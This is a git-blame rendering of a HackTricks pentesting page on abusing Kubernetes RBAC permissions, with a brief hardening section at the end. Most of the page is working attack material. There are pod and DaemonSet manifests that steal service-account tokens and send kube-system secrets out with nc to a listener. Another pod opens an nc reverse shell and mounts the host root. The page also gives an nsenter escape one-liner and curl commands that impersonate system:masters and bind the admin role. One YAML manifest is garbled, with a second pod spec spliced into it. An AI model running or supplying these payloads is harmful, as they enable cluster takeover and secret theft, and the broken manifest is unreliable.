hacktricks/pentesting/pentesting-kubernetes/hardening-roles-clusterroles/README.md

452 lines
20 KiB
Markdown
Raw Normal View History

2021-12-22 16:22:43 +01:00
# Abusing Roles/ClusterRoles
2021-04-28 18:27:24 +02:00
Here you can find some potentially dangerous Roles and ClusterRoles configurations.
2021-12-22 16:22:43 +01:00
## **Privilege Escalation**
### **Access Any Resource or Verb**
2021-04-28 18:27:24 +02:00
This privilege provides access to **any resource with any verb**. It is the most substantial privilege that a user can get, especially if this privilege is also a “ClusterRole.” If its a “ClusterRole,” than the user can access the resources of any namespace and own the cluster with that permission.
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
```
2021-12-22 16:22:43 +01:00
### **Access Any Resource**
2021-04-28 18:27:24 +02:00
Giving a user permission to **access any resource can be very risky**. But, **which verbs** allow access to these resources? Here are some dangerous RBAC permissions that can damage the whole cluster:
* **resources: \["\*"] verbs: \["create"]** This privilege can **create any resource** in the cluster, such as **pods**, roles, etc. An attacker might abuse it to **escalate privileges**. An example of this can be found in the **“Pods Creation” section**.
2021-11-30 17:46:07 +01:00
* **resources: \["\*"] verbs: \["list"]** The ability to list any resource can be used to **leak other users secrets** and might make it easier to **escalate privileges**. An example of this is located in the **“Listing secrets” section.**
* **resources: \["\*"] verbs: \["get"]-** This privilege can be used to **get secrets from other service accounts**.
2021-04-28 18:27:24 +02:00
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]
```
2022-01-19 14:22:07 +01:00
### Pod Create - Steal Token
2021-04-28 18:27:24 +02:00
An attacker with permission to create a pod in the “kube-system” namespace can create cryptomining containers for example. Moreover, if there is a **service account with privileged permissions, by running a pod with that service the permissions can be abused to escalate privileges**.
2022-01-08 17:32:46 +01:00
![](<../../../.gitbook/assets/image (463).png>)
2021-04-28 18:27:24 +02:00
2021-11-30 17:46:07 +01:00
Here we have a default privileged account named _bootstrap-signer_ with permissions to list all secrets.
2021-04-28 18:27:24 +02:00
2021-11-30 17:46:07 +01:00
![](https://www.cyberark.com/wp-content/uploads/2018/12/rolebinding\_with\_cluster\_admin\_clusterrole-1024x545.png)
2021-04-28 18:27:24 +02:00
The attacker can create a malicious pod that will use the privileged service. Then, abusing the service token, it will ex-filtrate the secrets:
2021-11-30 17:46:07 +01:00
![](https://www.cyberark.com/wp-content/uploads/2018/12/pods\_yaml\_with\_autoamountServiceAccountToken-1024x345.png)
2021-04-28 18:27:24 +02:00
```yaml
2022-01-08 17:32:46 +01:00
apiVersion: v1
2021-04-28 18:27:24 +02:00
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
```
2021-11-30 17:46:07 +01:00
In the previous image note how the _bootstrap-signer service is used in_ `serviceAccountname`_._
2021-04-28 18:27:24 +02:00
So just create the malicious pod and expect the secrets in port 6666:
2022-01-08 17:32:46 +01:00
![](<../../../.gitbook/assets/image (464).png>)
2021-04-28 18:27:24 +02:00
2022-01-19 14:22:07 +01:00
### **Pod Create & Escape**
2021-04-29 14:12:01 +02:00
2022-01-19 14:22:07 +01:00
The following definition gives all the privileges a container can have:
2021-04-29 14:12:01 +02:00
2022-01-19 14:22:07 +01:00
* **Privileged access** (disabling protections and setting capabilities)
* **Disable namespaces hostIPC and hostPid** that can help to escalate privileges
* **Disable hostNetwork** namespace, giving access to steal nodes cloud privileges and better access to networks
* **Mount hosts / inside the container**
{% code title="super_privs.yaml" %}
2021-04-29 14:12:01 +02:00
```yaml
apiVersion: v1
kind: Pod
metadata:
name: stealetc-pod
spec:
containers:
- name: givemeyouretc
image: alpine
command: ["/bin/sh"]
args: ["-c", "nc 10.10.10.10 4444 -e /bin/sh"]
volumeMounts:
- mountPath: /mnt
name: volume
2022-01-19 14:22:07 +01:00
volumes:apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
# add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
2021-04-29 14:12:01 +02:00
- name: volume
hostPath:
2021-12-22 18:43:14 +01:00
path: /
2021-04-29 14:12:01 +02:00
```
{% endcode %}
Create the pod with:
```bash
2021-12-22 18:43:14 +01:00
kubectl --token $token create -f mount_root.yaml
2021-04-29 14:12:01 +02:00
```
2022-01-19 14:22:07 +01:00
One-liner from [this tweet](https://twitter.com/mauilion/status/1129468485480751104) and with some additions:
2021-12-23 13:20:46 +01:00
```bash
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
```
2022-01-19 14:22:07 +01:00
### Pod Create - Move to cloud
If you can **create** a **pod** (and optionally a **service account**) you might be able to **obtain privileges in cloud environment** by **assigning cloud roles to a pod or a service account** and then accessing it.\
Moreover, if you can create a **pod with the host network namespace** you can **steal the IAM** role of the **node** instance.
For more information check:
{% content-ref url="../../../cloud-security/pentesting-kubernetes/kubernetes-access-to-other-clouds.md" %}
[kubernetes-access-to-other-clouds.md](../../../cloud-security/pentesting-kubernetes/kubernetes-access-to-other-clouds.md)
{% endcontent-ref %}
2021-12-22 16:22:43 +01:00
### Sniffing **with a sidecar proxy app**
By default there isn't any encryption in the communication between pods .Mutual authentication, two-way, pod to pod.
#### Create a sidecar proxy app <a href="#create-a-sidecar-proxy-app" id="create-a-sidecar-proxy-app"></a>
Create your .yaml
```bash
kubectl run app --image=bash --comand -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'
```
Edit your .yaml and add the uncomment lines:
```yaml
#apiVersion: v1
#kind: Pod
#metadata:
# name: security-context-demo
#spec:
# securityContext:
# runAsUser: 1000
# runAsGroup: 3000
# fsGroup: 2000
# volumes:
# - name: sec-ctx-vol
# emptyDir: {}
# containers:
# - name: sec-ctx-demo
# image: busybox
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
securityContext:
capabilities:
add: ["NET_ADMIN"]
# volumeMounts:
# - name: sec-ctx-vol
# mountPath: /data/demo
# securityContext:
# allowPrivilegeEscalation: true
```
See the logs of the proxy:
```bash
kubectl logs app -C proxy
```
More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
2022-01-10 01:02:55 +01:00
### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
2021-04-28 18:27:24 +02:00
Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs are all privileges that allow the creation of different tasks in the cluster. Moreover, it's possible can use all of them to **develop pods and even create pods**. So it's possible to a**buse them to escalate privileges just like in the previous example.**
2021-11-30 17:46:07 +01:00
Suppose we have the **permission to create a Daemonset** and we create the following YAML file. This YAML file is configured to do the same steps we mentioned in the “create pods” section.
2021-04-28 18:27:24 +02:00
```yaml
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
```
In line 6 you can find the object “spec” and children objects such as “**template**” in line 10. These objects hold the configuration for the task we wish to accomplish. Another thing to notice is the "**serviceAccountName**" in line 15 and the “**containers**” object in line 18. This is the part that relates to creating our malicious container.
Kubernetes API documentation indicates that the “**PodTemplateSpec**” endpoint has the option to create containers. And, as you can see: **deployment,** **daemonsets, statefulsets, replicationcontrollers, replicasets, jobs and cronjobs can all be used to create pods**:
![](https://www.cyberark.com/wp-content/uploads/2019/08/Kube-Pentest-Fig-8.png)
**So, the privilege to create or update tasks can also be abused for privilege escalation in the cluster.**
2021-12-22 16:22:43 +01:00
### **Pods Exec**
2021-04-28 18:27:24 +02:00
**Pod exec** is an option in kubernetes used for **running commands in a shell inside a pod**. This privilege is meant for administrators who want to **access containers and run commands**. Its just like creating a SSH session for the container.
If we have this privilege, we actually get the ability **to take control of all the pods**. In order to do that, we needs to use the following command:
```bash
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
```
2022-01-08 17:32:46 +01:00
Note that as you can get inside any pod, you can abuse other pods token just like in [**Pod Creation exploitation**](./#pod-creation) to try to escalate privileges.
2021-04-28 18:27:24 +02:00
2021-12-22 16:22:43 +01:00
### **Impersonating privileged accounts**
2021-04-28 18:27:24 +02:00
2021-11-30 17:46:07 +01:00
With a [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) **** privilege, an attacker could impersonate a privileged account.
2021-04-28 18:27:24 +02:00
In this example, the service account _**sa-imper**_ has a binding to a ClusterRole with rules that allow it to impersonate groups and users.
2021-11-30 17:46:07 +01:00
![](https://www.cyberark.com/wp-content/uploads/2018/12/clusterRole\_for\_user\_impersonation.png)
2021-04-28 18:27:24 +02:00
2021-11-30 17:46:07 +01:00
![](https://www.cyberark.com/wp-content/uploads/2018/12/clusterRole\_for\_user\_impersonation\_2.png)
2021-04-28 18:27:24 +02:00
2022-01-07 17:45:16 +01:00
It's possible to **list all secrets** with `--as=null --as-group=system:master` attributes:
2021-04-28 18:27:24 +02:00
2021-11-30 17:46:07 +01:00
![](https://www.cyberark.com/wp-content/uploads/2018/12/listing\_secrets\_with\_and\_without\_user\_impersonation-1024x108.png)
2021-04-28 18:27:24 +02:00
**It's also possible to perform the same action via the API REST endpoint:**
```bash
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
2022-01-10 01:02:55 +01:00
### **Listing Secrets**
The **listing secrets privilege** is a strong capability to have in the cluster. A user with the permission to list secrets can **potentially view all the secrets in the cluster including the admin keys**. The secret key is a JWT token encoded in base64.
![](https://www.cyberark.com/wp-content/uploads/2018/12/listing\_secrets\_role.png)
An attacker that gains **access to **_**list secrets**_** ** in the cluster can use the following _curl_ commands to get all secrets in “kube-system” namespace:
```bash
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
![](https://www.cyberark.com/wp-content/uploads/2019/08/Kube-Pentest-Fig-2.png)
###
2021-12-22 16:22:43 +01:00
### **Reading a secret brute-forcing token IDs**
2021-04-28 18:27:24 +02:00
2021-11-30 17:46:07 +01:00
An attacker that found a token with permission to read a secret cant use this permission without knowing the full secrets name. This permission is different from the _**listing** **secrets**_ permission described above.
2021-04-28 18:27:24 +02:00
2021-11-30 17:46:07 +01:00
![](https://www.cyberark.com/wp-content/uploads/2018/12/getting\_secret\_clusterRole.png)
2021-04-28 18:27:24 +02:00
2021-11-30 17:46:07 +01:00
![](https://www.cyberark.com/wp-content/uploads/2018/12/clusterRoleBinding\_with\_get\_secrets\_clusterRole.png)
2021-04-28 18:27:24 +02:00
Although the attacker doesnt know the secrets name, there are default service accounts that can be enlisted.
2021-11-30 17:46:07 +01:00
![](https://www.cyberark.com/wp-content/uploads/2018/12/default\_service\_accounts\_list.png)
2021-04-28 18:27:24 +02:00
Each service account has an associated secret with a static (non-changing) prefix and a postfix of a random five-character string token at the end.
2021-04-28 18:27:24 +02:00
2021-11-30 17:46:07 +01:00
![](https://www.cyberark.com/wp-content/uploads/2018/12/default\_service\_account\_on\_kube\_system\_namespace-1024x556.png)
2021-04-28 18:27:24 +02:00
The random token structure is 5-character string built from alphanumeric (lower letters and digits) characters. **But it doesnt contain all the letters and digits.**
2021-04-28 18:27:24 +02:00
When looking inside the [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83), it appears that the token is generated from only 27 characters “bcdfghjklmnpqrstvwxz2456789” and not 36 (a-z and 0-9)
2021-04-28 18:27:24 +02:00
2021-11-30 17:46:07 +01:00
![](https://www.cyberark.com/wp-content/uploads/2018/12/character\_set\_from\_rand\_go.png)
2021-04-28 18:27:24 +02:00
2021-11-30 17:46:07 +01:00
![](https://www.cyberark.com/wp-content/uploads/2018/12/comments\_on\_removing\_characters\_rand\_go\_character\_set-1024x138.png)
2021-04-28 18:27:24 +02:00
This means that there are 275 = 14,348,907 possibilities for a token.
An attacker can run a brute-force attack to guess the token ID in couple of hours. Succeeding to get secrets from default sensitive service accounts will allow him to escalate privileges.
## Built-in Privileged Escalation Prevention
Although there can be risky permissions, Kubernetes is doing good work preventing other types of permissions with potential for privileged escalation.
Kubernetes has a [built-in mechanism](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) for that:
“The RBAC API **prevents users from escalating privileges** by editing roles or role bindings. Because this is enforced at the API level, it applies even when the RBAC authorizer is not in use.
A user can only **create/update a role if they already have all the permissions contained in the role**, at the same scope as the role (cluster-wide for a ClusterRole, within the same namespace or cluster-wide for a Role)”
2021-04-28 18:27:24 +02:00
Lets see an example for such prevention.
A service account named _sa7_ is in a RoleBinding _edit-role-rolebinding_. This RoleBinding object has a role named _edit-role_ that has **full permissions rules** on roles. Theoretically, it means that the service account can **edit** **any role** in the _default_ namespace.
2021-11-30 17:46:07 +01:00
![](https://www.cyberark.com/wp-content/uploads/2018/12/edit\_roles\_roleBinding\_binding\_sa7\_to\_edit\_role.png)
2021-04-28 18:27:24 +02:00
2021-11-30 17:46:07 +01:00
![](https://www.cyberark.com/wp-content/uploads/2018/12/role\_to\_edit\_any\_role.png)
2021-04-28 18:27:24 +02:00
There is also an existing role named _list-pods_. Anyone with this role can list all the pods on the _default_ namespace. The user _sa7_ should have permissions to edit any roles, so lets see what happens when it tries to add the “secrets” resource to the roles resources.
2021-11-30 17:46:07 +01:00
![](https://www.cyberark.com/wp-content/uploads/2018/12/edit\_role\_resources-300x66.png)
2021-04-28 18:27:24 +02:00
After trying to do so, we will receive an error “forbidden: attempt to grant extra privileges” (Figure 31), because although our _sa7_ user has permissions to update roles for any resource, it can update the role only for resources that it has permissions over.
2021-04-28 18:27:24 +02:00
2021-11-30 17:46:07 +01:00
![](https://www.cyberark.com/wp-content/uploads/2018/12/forbidden\_attempt\_to\_gran\_extra\_privileges\_message-1024x288.png)
2021-04-28 18:27:24 +02:00
2022-01-10 01:02:55 +01:00
### **Get & Patch RoleBindings/ClusterRoleBindings**
{% hint style="danger" %}
**Apparently this technique worked before, but according to my tests it's not working anymore for the same reason explained in the previous section. Yo cannot create/modify a rolebinding to give yourself or a different SA some privileges if you don't have already.**
{% endhint %}
The privilege to create Rolebindings allows a user to **bind roles to a service account**. This privilege can potentially lead to privilege escalation because it **allows the user to bind admin privileges to a compromised service account.**
The following ClusterRole is using the special verb _bind_ that allows a user to create a RoleBinding with _admin_ ClusterRole (default high privileged role) and to add any user, including itself, to this admin ClusterRole.
![](https://www.cyberark.com/wp-content/uploads/2018/12/clusterRole\_with\_bind\_verb.png)
Then it's possible to create **`malicious-RoleBinging.json`**, which **binds the admin role to other compromised service account:**
```javascript
{
"apiVersion": "rbac.authorization.k8s.io/v1",
"kind": "RoleBinding",
"metadata": {
"name": "malicious-rolebinding",
"namespaces": "default"
},
"roleRef": {
"apiGroup": "*",
"kind": "ClusterRole",
"name": "admin"
},
"subjects": [
{
"kind": "ServiceAccount",
"name": "compromised-svc"
"namespace": "default"
}
]
}
```
The purpose of this JSON file is to bind the admin “CluserRole” (line 11) to the compromised service account (line 16).
Now, all we need to do is to send our JSON as a POST request to the API using the following CURL command:
```bash
curl -k -v -X POST -H "Authorization: Bearer <JWT TOKEN>" \
-H "Content-Type: application/json" \
https://<master_ip>:<port>/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings \
-d @malicious-RoleBinging.json
```
After the **admin role is bound to the “compromised-svc” service account**, we can use the compromised service account token to **list secrets**. The following CURL command will do this:
```bash
curl -k -v -X POST -H "Authorization: Bearer <COMPROMISED JWT TOKEN>"\
-H "Content-Type: application/json"
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secret
```
2021-04-28 18:27:24 +02:00
## Best Practices
### **Prevent service account token automounting on pods**
When a pod is being created, it automatically mounts a service account (the default is default service account in the same namespace). Not every pod needs the ability to utilize the API from within itself.
2021-04-28 18:27:24 +02:00
From version 1.6+ it is possible to prevent automounting of service account tokens on pods using automountServiceAccountToken: false. It can be used on service accounts or pods.
On a service account it should be added like this:\
2021-04-28 18:27:24 +02:00
2021-11-30 17:46:07 +01:00
![](https://www.cyberark.com/wp-content/uploads/2018/12/serviceAccount\_with\_autoamountServiceAccountToken\_false.png)
2021-04-28 18:27:24 +02:00
It is also possible to use it on the pod:\
2021-04-28 18:27:24 +02:00
2021-11-30 17:46:07 +01:00
![](https://www.cyberark.com/wp-content/uploads/2018/12/pod\_with\_autoamountServiceAccountToken\_false.png)
2021-04-28 18:27:24 +02:00
### **Grant specific users to RoleBindings\ClusterRoleBindings**
When creating RoleBindings\ClusterRoleBindings, make sure that only the users that need the role in the binding are inside. It is easy to forget users that are not relevant anymore inside such groups.
### **Use Roles and RoleBindings instead of ClusterRoles and ClusterRoleBindings**
When using ClusterRoles and ClusterRoleBindings, it applies on the whole cluster. A user in such a group has its permissions over all the namespaces, which is sometimes unnecessary. Roles and RoleBindings can be applied on a specific namespace and provide another layer of security.
### **Use automated tools**
{% embed url="https://github.com/cyberark/KubiScan" %}
{% embed url="https://github.com/aquasecurity/kube-hunter" %}
{% embed url="https://github.com/aquasecurity/kube-bench" %}
## ****
2021-04-28 18:27:24 +02:00
## **References**
{% embed url="https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions" %}
{% embed url="https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1" %}
****